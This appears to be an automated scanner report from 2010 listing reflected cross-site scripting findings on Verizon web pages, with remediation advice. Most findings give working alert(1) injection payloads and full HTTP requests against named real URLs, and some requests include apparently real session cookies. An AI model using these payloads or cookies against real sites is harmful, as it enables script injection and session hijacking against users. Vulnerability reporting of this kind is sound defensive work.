Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the page request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6ca72\'%3balert(1)//bbca0934e38 was submitted in the page parameter. This input was echoed as 6ca72\\';alert(1)//bbca0934e38 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/plain; charset=utf-8 Content-Length: 2442 Date: Sat, 20 Nov 2010 01:34:44 GMT Connection: close
//Copyright (c) 2000-2003 by 24/7 Real Media, Inc. ALL RIGHTS RESERVED. 3/13/2008 //New changes made on 06/25 and pushed to fuat on 06/25 //configuration OAS_url = 'http://oascentral.verizononline.com/RealMedia/ads/'; OAS_sitepage = 'vznewsroom.net/homepage.html6ca72\\';alert(1)//bbca0934e38'; OAS_listpos = 'Top1,x20,x21,x37,x38,x48,x49,x50,Right1'; OAS_query = 'search='; OAS_target = '_blank'; OAS_RegLocurl = 'http://syndicate.verizon.net/ads/regionlocator.ashx'; OAS_SynHandlerurl = ...[SNIP]...
The value of the pos request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e4c6c\'%3balert(1)//dc500af93ec was submitted in the pos parameter. This input was echoed as e4c6c\\';alert(1)//dc500af93ec in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/plain; charset=utf-8 Content-Length: 2442 Date: Sat, 20 Nov 2010 01:34:49 GMT Connection: close
//Copyright (c) 2000-2003 by 24/7 Real Media, Inc. ALL RIGHTS RESERVED. 3/13/2008 //New changes made on 06/25 and pushed to fuat on 06/25 //configuration OAS_url = 'http://oascentral.verizononline.com/RealMedia/ads/'; OAS_sitepage = 'vznewsroom.net/homepage.html'; OAS_listpos = 'Top1,x20,x21,x37,x38,x48,x49,x50,Right1e4c6c\\';alert(1)//dc500af93ec'; OAS_query = 'search='; OAS_target = '_blank'; OAS_RegLocurl = 'http://syndicate.verizon.net/ads/regionlocator.ashx'; OAS_SynHandlerurl = 'http://syndicate.verizon.net/ads/scripthandler.ashx?sour ...[SNIP]...
The value of the _nfpb request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1d15b"-alert(1)-"b869bfbf83e was submitted in the _nfpb parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the _pageLabel request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c20e3"-alert(1)-"c6f3d98f7be was submitted in the _pageLabel parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the channel request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 11336"-alert(1)-"6e3d0de664f was submitted in the channel parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the clientid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ee2b1"-alert(1)-"0bcef26108 was submitted in the clientid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
1.7. http://www.verizon.net/central/bookmark [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.verizon.net
Path:
/central/bookmark
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2f413"-alert(1)-"17d6cf30d2f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the web_search_type request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ae787"-alert(1)-"efdc3db1e0c was submitted in the web_search_type parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the action request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b1a0a"><script>alert(1)</script>ce4edd3e009 was submitted in the action parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /b2c/store/controller?item=phoneFirst&action=viewPhoneOverviewByDeviceb1a0a"><script>alert(1)</script>ce4edd3e009&deviceType=Phones&sortOption=priceSort HTTP/1.1 Host: www.verizonwireless.com Proxy-Connection: keep-alive Referer: http://www.verizonwireless.com/b2c/index.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NSC_xxx_hwt=ec2016f80000; GLOBALID=Gz%2FEvEpqLXlWjN0JBQtocFAw%2FxYn5zkIiHwVedAP2GenfEoJGe6sl1Ton8E00phs; JSESSIONIDB2C=Gh9nMnmL11xTTHL7LDVGFcCDpnlRydc1lJhhX2cm4wqp2f4WLLsH!-1044347078!saturn!5103!-1; NSC_xxx_xmt_c2d_mcwt=44ac3f0d25df
The value of the deviceType request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 637b8"><script>alert(1)</script>f8543ce74dd was submitted in the deviceType parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /b2c/store/controller?item=phoneFirst&action=viewPhoneOverviewByDevice&deviceType=Phones637b8"><script>alert(1)</script>f8543ce74dd&sortOption=priceSort HTTP/1.1 Host: www.verizonwireless.com Proxy-Connection: keep-alive Referer: http://www.verizonwireless.com/b2c/index.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NSC_xxx_hwt=ec2016f80000; GLOBALID=Gz%2FEvEpqLXlWjN0JBQtocFAw%2FxYn5zkIiHwVedAP2GenfEoJGe6sl1Ton8E00phs; JSESSIONIDB2C=Gh9nMnmL11xTTHL7LDVGFcCDpnlRydc1lJhhX2cm4wqp2f4WLLsH!-1044347078!saturn!5103!-1; NSC_xxx_xmt_c2d_mcwt=44ac3f0d25df
The value of the item request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dba5a"><script>alert(1)</script>70fff072cf3 was submitted in the item parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /b2c/store/controller?item=phoneFirstdba5a"><script>alert(1)</script>70fff072cf3&action=viewPhoneOverviewByDevice&deviceType=Phones&sortOption=priceSort HTTP/1.1 Host: www.verizonwireless.com Proxy-Connection: keep-alive Referer: http://www.verizonwireless.com/b2c/index.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NSC_xxx_hwt=ec2016f80000; GLOBALID=Gz%2FEvEpqLXlWjN0JBQtocFAw%2FxYn5zkIiHwVedAP2GenfEoJGe6sl1Ton8E00phs; JSESSIONIDB2C=Gh9nMnmL11xTTHL7LDVGFcCDpnlRydc1lJhhX2cm4wqp2f4WLLsH!-1044347078!saturn!5103!-1; NSC_xxx_xmt_c2d_mcwt=44ac3f0d25df
1.12. http://www.verizonwireless.com/b2c/store/controller [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.verizonwireless.com
Path:
/b2c/store/controller
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 965b3"><script>alert(1)</script>021e0c9eefd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /b2c/store/controller?item=phoneFirst&action=viewPhoneOverviewByDevice&deviceType=Phones&sortOption=priceSort&965b3"><script>alert(1)</script>021e0c9eefd=1 HTTP/1.1 Host: www.verizonwireless.com Proxy-Connection: keep-alive Referer: http://www.verizonwireless.com/b2c/index.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NSC_xxx_hwt=ec2016f80000; GLOBALID=Gz%2FEvEpqLXlWjN0JBQtocFAw%2FxYn5zkIiHwVedAP2GenfEoJGe6sl1Ton8E00phs; JSESSIONIDB2C=Gh9nMnmL11xTTHL7LDVGFcCDpnlRydc1lJhhX2cm4wqp2f4WLLsH!-1044347078!saturn!5103!-1; NSC_xxx_xmt_c2d_mcwt=44ac3f0d25df
The value of the sortOption request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52fd0"><script>alert(1)</script>f8982710445 was submitted in the sortOption parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /b2c/store/controller?item=phoneFirst&action=viewPhoneOverviewByDevice&deviceType=Phones&sortOption=priceSort52fd0"><script>alert(1)</script>f8982710445 HTTP/1.1 Host: www.verizonwireless.com Proxy-Connection: keep-alive Referer: http://www.verizonwireless.com/b2c/index.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NSC_xxx_hwt=ec2016f80000; GLOBALID=Gz%2FEvEpqLXlWjN0JBQtocFAw%2FxYn5zkIiHwVedAP2GenfEoJGe6sl1Ton8E00phs; JSESSIONIDB2C=Gh9nMnmL11xTTHL7LDVGFcCDpnlRydc1lJhhX2cm4wqp2f4WLLsH!-1044347078!saturn!5103!-1; NSC_xxx_xmt_c2d_mcwt=44ac3f0d25df
The value of the go request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3efe"><script>alert(1)</script>c43e1d77ad was submitted in the go parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
1.15. http://www.verizonwireless.com/b2c/vzwfly [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.verizonwireless.com
Path:
/b2c/vzwfly
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3ec15"><script>alert(1)</script>aa80984e70d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the query request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7f155"><script>alert(1)</script>3108fa274df22e375 was submitted in the query parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the target request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f5f29'%3balert(1)//21f8d5e4943 was submitted in the target parameter. This input was echoed as f5f29';alert(1)//21f8d5e4943 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Content/LearnShop/intermediate.aspx?target=https://f5f29'%3balert(1)//21f8d5e4943 HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 1943 Expires: Sat, 20 Nov 2010 01:54:57 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 01:54:57 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title> Shop For Ser ...[SNIP]... <script>var url = 'https://f5f29';alert(1)//21f8d5e4943'; document.form1.action=url;document.form1.submit();</script> ...[SNIP]...
The value of the Client request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 397a9"%3balert(1)//24d5afdbc59 was submitted in the Client parameter. This input was echoed as 397a9";alert(1)//24d5afdbc59 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ForyourHome/GoFlow/MyVerizon/RegistrationBridge.aspx?Client=VZSA397a9"%3balert(1)//24d5afdbc59&FlowRoute=VZSA-NDSL&getstarted=2intherohsilq HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response (redirected)
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 22732 Expires: Sat, 20 Nov 2010 02:36:10 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:36:10 GMT Connection: close Set-Cookie: EOrdering=PN-DR-ENABLED=iVwfNps%2fXq8%3d&PROJNORTH-CLIENT=&WR58038_DC=efZHv8OIFvI%3d&HBXSOURCE=TiFI0EpTTVOnzjDD4KXHGQ%3d%3d; domain=.verizon.com; path=/
The value of the FlowRoute request parameter is copied into a JavaScript rest-of-line comment. The payload 1a9d4%0aalert(1)//c623c9a1ad was submitted in the FlowRoute parameter. This input was echoed as 1a9d4 alert(1)//c623c9a1ad in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ForyourHome/GoFlow/MyVerizon/RegistrationBridge.aspx?Client=VZSA&FlowRoute=VZSA-NDSL1a9d4%0aalert(1)//c623c9a1ad&getstarted=2intherohsilq HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response (redirected)
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 22752 Expires: Sat, 20 Nov 2010 02:36:20 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:36:20 GMT Connection: close Set-Cookie: EOrdering=PN-DR-ENABLED=iVwfNps%2fXq8%3d&PROJNORTH-CLIENT=&WR58038_DC=efZHv8OIFvI%3d&HBXSOURCE=%2fhVcACS2B8Xn295HYL3i%2fTN0dmEOUd9D; domain=.verizon.com; path=/
1.20. http://www22.verizon.com/ForyourHome/Registration/Reg/OrLogin.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www22.verizon.com
Path:
/ForyourHome/Registration/Reg/OrLogin.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 998fb"><script>alert(1)</script>6b05b3d5712 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ForyourHome/Registration/Reg/OrLogin.aspx?998fb"><script>alert(1)</script>6b05b3d5712=1 HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 MyVzServer: GWA24V Content-Type: text/html; charset=utf-8 Content-Length: 47344 Expires: Sat, 20 Nov 2010 02:36:02 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:36:02 GMT Connection: close Set-Cookie: NSC_xxx22_gzi_fsfh_mcw=ffffffff895bc6f945525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title>Verizon | Sign In</title> <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta ...[SNIP]... <INPUT type="hidden" value="/sso/redirect/redirect.asp?Target=https://www22.verizon.com/ForyourHome/GoFlow/MyVerizon/RegistrationBridge.aspx?FlowRoute=AMFBAU&998fb"><script>alert(1)</script>6b05b3d5712=1" name="target"> ...[SNIP]...
1.21. http://www22.verizon.com/Foryourhome/MyAccount/Unprotected/UserManagement/Login/Login.aspx [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5ea9c'-alert(1)-'d380d77ee59 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
